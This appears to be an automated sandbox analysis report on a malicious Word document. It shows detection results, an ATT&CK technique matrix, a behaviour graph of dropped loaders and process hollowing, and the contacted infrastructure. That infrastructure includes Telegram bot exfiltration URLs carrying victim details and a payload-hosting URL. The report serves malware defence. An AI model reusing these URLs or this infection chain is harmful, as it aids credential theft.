              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3457231521.00000000218FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 4544, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 3592, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 6036, type: MEMORYSTR

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information22
              Scripting              		1
              Valid Accounts              		1
              Native API              		22
              Scripting              		1
              DLL Side-Loading              		1
              Disable or Modify Tools              		1
              OS Credential Dumping              		1
              System Time Discovery              		Remote Services1
              Archive Collected Data              		1
              Web Service              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts1
              Shared Modules              		1
              DLL Side-Loading              		1
              Extra Window Memory Injection              		1
              Deobfuscate/Decode Files or Information              		LSASS Memory1
              System Network Connections Discovery              		Remote Desktop Protocol1
              Data from Local System              		13
              Ingress Tool Transfer              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts33
              Exploitation for Client Execution              		1
              Valid Accounts              		1
              Valid Accounts              		3
              Obfuscated Files or Information              		Security Account Manager2
              File and Directory Discovery              		SMB/Windows Admin Shares1
              Email Collection              		11
              Encrypted Channel              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts2
              Command and Scripting Interpreter              		1
              Registry Run Keys / Startup Folder              		1
              Access Token Manipulation              		2
              Software Packing              		NTDS36
              System Information Discovery              		Distributed Component Object ModelInput Capture1
              Non-Standard Port              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script311
              Process Injection              		1
              Timestomp              		LSA Secrets1
              Query Registry              		SSHKeylogging3
              Non-Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
              Registry Run Keys / Startup Folder              		1
              DLL Side-Loading              		Cached Domain Credentials241
              Security Software Discovery              		VNCGUI Input Capture234
              Application Layer Protocol              		Data Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              File Deletion              		DCSync41
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
              Extra Window Memory Injection              		Proc Filesystem2
              Process Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt221
              Masquerading              		/etc/passwd and /etc/shadow1
              Application Window Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
              Valid Accounts              		Network Sniffing1
              System Network Configuration Discovery              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
              Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
              Access Token Manipulation              		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
              Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task41
              Virtualization/Sandbox Evasion              		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
              Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers311
              Process Injection              		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1590510 Sample: PI ITS15235.doc Startdate: 14/01/2025 Architecture: WINDOWS Score: 100 49 reallyfreegeoip.org 2->49 51 api.telegram.org 2->51 53 4 other IPs or domains 2->53 65 Suricata IDS alerts for network traffic 2->65 67 Found malware configuration 2->67 69 Malicious sample detected (through community Yara rule) 2->69 75 23 other signatures 2->75 9 WINWORD.EXE 217 110 2->9         started        14 Nsltarpn.PIF 2->14         started        16 Nsltarpn.PIF 2->16         started        signatures3 71 Tries to detect the country of the analysis system (by using the IP) 49->71 73 Uses the Telegram API (likely for C&C communication) 51->73 process4 dnsIp5 57 147.124.216.113, 49737, 80 AC-AS-1US United States 9->57 47 C:\Windows\SysWOW64\brightness.exe, PE32 9->47 dropped 89 Document exploit detected (creates forbidden files) 9->89 91 Drops executables to the windows directory (C:\Windows) and starts them 9->91 93 Office process queries suspicious COM object (likely to drop second stage) 9->93 18 brightness.exe 1 10 9->18         started        95 Multi AV Scanner detection for dropped file 14->95 97 Machine Learning detection for dropped file 14->97 99 Writes to foreign memory regions 14->99 23 npratlsN.pif 14->23         started        101 Allocates memory in foreign processes 16->101 103 Sample uses process hollowing technique 16->103 25 npratlsN.pif 16->25         started        file6 signatures7 process8 dnsIp9 55 amazonenviro.com 166.62.27.188, 443, 49740, 49742 AS-26496-GO-DADDY-COM-LLCUS United States 18->55 39 C:\Windows \SysWOW6439ETUTILS.dll, PE32+ 18->39 dropped 41 C:\Users\Public\Libraries\npratlsN.pif, PE32 18->41 dropped 43 C:\Users\Public\Libraries43sltarpn.PIF, PE32 18->43 dropped 45 3 other files (2 malicious) 18->45 dropped 77 Multi AV Scanner detection for dropped file 18->77 79 Machine Learning detection for dropped file 18->79 81 Drops PE files with a suspicious file extension 18->81 87 4 other signatures 18->87 27 npratlsN.pif 15 2 18->27         started        31 cmd.exe 3 18->31         started        33 cmd.exe 1 18->33         started        83 Tries to steal Mail credentials (via file / registry access) 25->83 85 Tries to harvest and steal browser information (history, passwords, etc) 25->85 file10 signatures11 process12 dnsIp13 59 mail.irco.com.sa 46.151.208.21, 52774, 52789, 52794 NASHIRNET-ASNNASHIRNETASNSA Saudi Arabia 27->59 61 checkip.dyndns.com 132.226.8.169, 49754, 52742, 52745 UTMEMUS United States 27->61 63 2 other IPs or domains 27->63 105 Detected unpacking (changes PE section rights) 27->105 107 Detected unpacking (overwrites its own PE header) 27->107 109 Tries to steal Mail credentials (via file / registry access) 27->109 35 conhost.exe 31->35         started        37 conhost.exe 33->37         started        signatures14 process15

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              PI ITS15235.doc60%VirustotalBrowse
              PI ITS15235.doc58%ReversingLabsDocument-Word.Downloader.DBatLoader
              PI ITS15235.doc100%AviraW97M/Agent.5915124
              PI ITS15235.doc100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Windows \SysWOW64\NETUTILS.dll100%Joe Sandbox ML
              C:\Users\Public\Libraries\Nsltarpn.PIF100%Joe Sandbox ML
              C:\Windows\SysWOW64\brightness.exe100%Joe Sandbox ML
              C:\Users\Public\Libraries\Nsltarpn.PIF47%ReversingLabsWin32.Trojan.ModiLoader
              C:\Users\Public\Libraries\npratlsN.pif3%ReversingLabs
              C:\Windows \SysWOW64\NETUTILS.dll29%ReversingLabsWin64.Trojan.Barys
              C:\Windows \SysWOW64\svchost.pif0%ReversingLabs
              C:\Windows\SysWOW64\brightness.exe47%ReversingLabsWin32.Trojan.ModiLoader

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              https://amazonenviro.com:443/admin/245_Nsltarpncon0%Avira URL Cloudsafe
              https://amazonenviro.com/admin/245_Nsltarpncon6B0%Avira URL Cloudsafe
              https://amazonenviro.com/admin/245_Nsltarpncon0%Avira URL Cloudsafe
              https://amazonenviro.com/Z0%Avira URL Cloudsafe
              http://e6.o.lencr.org00%Avira URL Cloudsafe
              https://amazonenviro.com/admin/245_Nslta0%Avira URL Cloudsafe
              http://x1.i.0%Avira URL Cloudsafe
              http://mail.irco.com.sa0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              reallyfreegeoip.org
              		104.21.16.1
              		truefalse
                		high
                amazonenviro.com
                		166.62.27.188
                		truefalse
                  		high
                  api.telegram.org
                  		149.154.167.220
                  		truefalse
                    		high
                    mail.irco.com.sa
                    		46.151.208.21
                    		truetrue
                      		unknown
                      checkip.dyndns.com
                      		132.226.8.169
                      		truefalse
                        		high
                        checkip.dyndns.org
                        		unknown
                        		unknownfalse
                          		high

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          https://amazonenviro.com/admin/245_Nsltarpncontrue
                          • Avira URL Cloud: safe
                          		unknown
                          https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:02:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                            		high
                            https://reallyfreegeoip.org/xml/8.46.123.189false
                              		high
                              http://checkip.dyndns.org/false
                                		high
                                https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:21:19%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                                  		high
                                  https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2014:32:10%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                                    		high

                                    URLs from Memory and Binaries

                                    NameSourceMaliciousAntivirus DetectionReputation
                                    https://duckduckgo.com/chrome_newtabnpratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://amazonenviro.com/admin/245_Nsltarpncon6Bbrightness.exe, 00000004.00000002.1860229176.000000000063D000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://duckduckgo.com/ac/?q=npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://api.telegram.orgnpratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpfalse
                                            		high
                                            http://ocsp.sectigo.com0brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpfalse
                                              		high
                                              https://api.telegram.org/botnpratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B8B8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpfalse
                                                		high
                                                http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://www.office.com/lBnpratlsN.pif, 0000000A.00000002.3463602515.000000002B9BC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021968000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C09F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://amazonenviro.com:443/admin/245_Nsltarpnconbrightness.exe, 00000004.00000002.1860229176.0000000000681000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17npratlsN.pif, 0000000A.00000002.3463602515.000000002B907000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C82C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA2E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022BA9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A69000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022961000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000227AC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022913000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022988000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D097000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CEBC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D178000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D2B9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D022000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D070000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://chrome.google.com/webstore?hl=ennpratlsN.pif, 0000000E.00000002.3457231521.000000002193C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C0A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://varders.kozow.com:8081npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpfalse
                                                              		high
                                                              http://x1.c.lencr.org/0npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029E9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://x1.i.lencr.org/0npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029E9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17InstallnpratlsN.pif, 0000000A.00000003.2435365448.000000002CA7F000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C807000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C87C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA35000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C832000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.000000002291B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022963000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A44000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B62000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022787000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000228EE000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D073000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D271000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D02A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CE97000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CFFF000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D154000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
